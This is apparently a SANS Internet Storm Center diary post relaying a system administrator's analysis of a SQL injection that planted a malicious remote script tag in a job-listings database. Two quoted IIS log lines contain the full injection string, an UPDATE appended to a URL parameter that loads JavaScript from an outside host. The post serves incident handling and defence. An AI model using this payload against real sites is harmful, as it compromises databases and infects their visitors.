A few weekends ago we posted a diary about several web sites that were infected by a one-line script pointer to sites containing hostile code.  The initial site that got everybody's attention belonged to the Dolphins Stadium, and that led us to finding several more that we listed in that diary.  Since then several of the system administrators of those sites have written back to us confirming that they had been targeted.  One system administrator provided us with some excellent analysis and feedback, and gave us permission to post it below.  I've cleaned his comments up a bit to remove any attribution.

Fyi, we do not use DreamWeaver.

What boggles my mind is how we got attacked and how the hackers successfully corrupted one SQL table record.

All Windows security patches were up-to-date.

There is no SQL patch for this, as far as I know, just lazy programming technique allowing untrusted text to be attached to SQL parameters (typical SQL injection).

I have found in our IS logs this attacker’s string occurring several times early in January:

2007-01-01 17:37:27 220.188.65.236 - GET /jobs/job.asp ID=1343;update%20main%20set%20postitle='<script%20src="http://bc0.cn/1.js"></script>';-- 200 0 309 125

This source IP is from CHINANET-ZJ Jinhua node network - descr: Zhejiang Telecom

And later on several of these:

2007-01-13 23:44:31 205.209.132.142 - GET /jobs/job.asp ID=1343;update%20main%20set%20postitle='<script%20src="http://bc0.cn/1.js"></script>';-- 200 0 389 47

The source IP 205.209.132.142 translates (reverse) to:

OrgName: Managed Solutions Group, Inc. OrgID: MSG-48 Address: 46750 Fremont Blvd. Address: #107 City: Fremont StateProv: CA PostalCode: 94538 Country: US

The first part is an usual reply to a dynamic query, preprocessed by IIS and sent to client for the display.

It contains details (all fields from the db record, including a field named ‘postitle’).

The hacker then will try to corrupt the record by replacing the field content with the exploit ‘js’ script.

When then our visitor downloads this page, he/she executes this script and infect himself with this Trojan, right?

So the chance is very slim to get infected from us. You have to know WHICH record to retrieve.

I tried to replicate this attack but was unable to. The 2nd part of SQL never executed.

That’s what is puzzling.

Note that IIS records return code 200, which indicates a successful operation.

Mind you, just ONE record was corrupted like this (out of many hundreds – these happened to be job opening positions).

We now edit very carefully inputs fields in online forms, our developers updated DAO, Active-X and permission from webserver IIS to SQL server (different box). – i.e. SQL permissions on individual table levels.

This was clearly focused attack and we were targeted.


We are grateful for his analysis and willingness to share.  Remember that the last step in the six-step incident handling process is the Lessons Learned, and that sharing those lessons with others will help fellow system administrators learn from your experience.

Marcus H. Sachs
Director, SANS Internet Storm Center